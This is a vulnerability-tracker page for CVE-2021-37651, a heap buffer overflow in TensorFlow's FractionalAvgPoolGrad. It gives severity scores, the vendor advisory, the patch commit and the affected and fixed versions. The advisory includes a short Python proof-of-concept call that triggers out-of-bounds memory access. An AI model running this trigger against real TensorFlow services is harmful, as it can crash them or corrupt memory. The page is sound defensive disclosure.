CVE-2021-37651High· 7.1▾ TwilightHeap buffer overflow in `FractionalAvgPoolGrad`
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 39.1 · likelihood 0 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
The implementation for tf.raw_ops.FractionalAvgPoolGrad can be tricked into accessing data outside of bounds of heap allocated buffers:
import tensorflow as tf
tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=[0,1,2,3],
out_backprop = np.array([[[[541],[541]],[[541],[541]]]]),
row_pooling_sequence=[0, 0, 0, 0, 0],
col_pooling_sequence=[-2, 0, 0, 2, 0],
overlapping=True)
The implementation does not validate that the input tensor is non-empty. Thus, code constructs an empty EigenDoubleMatrixMap and then accesses this buffer with indices that are outside of the empty area.
We have patched the issue in GitHub commit 0f931751fb20f565c4e94aa6df58d54a003cdb30.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
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This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
tensorflow < 2.3.4tensorflow >= 2.4.0, < 2.4.3tensorflow >= 2.5.0, < 2.5.1tensorflow-cpu < 2.3.4tensorflow-cpu >= 2.4.0, < 2.4.3tensorflow-cpu >= 2.5.0, < 2.5.1tensorflow-gpu < 2.3.4tensorflow-gpu >= 2.4.0, < 2.4.3tensorflow-gpu >= 2.5.0, < 2.5.1Upgrade to a patched release:
tensorflow 2.3.4tensorflow 2.4.3tensorflow 2.5.1tensorflow-cpu 2.3.4tensorflow-cpu 2.4.3tensorflow-cpu 2.5.1tensorflow-gpu 2.3.4tensorflow-gpu 2.4.3tensorflow-gpu 2.5.1Connected by shared product, vendor, weakness, or advisory.
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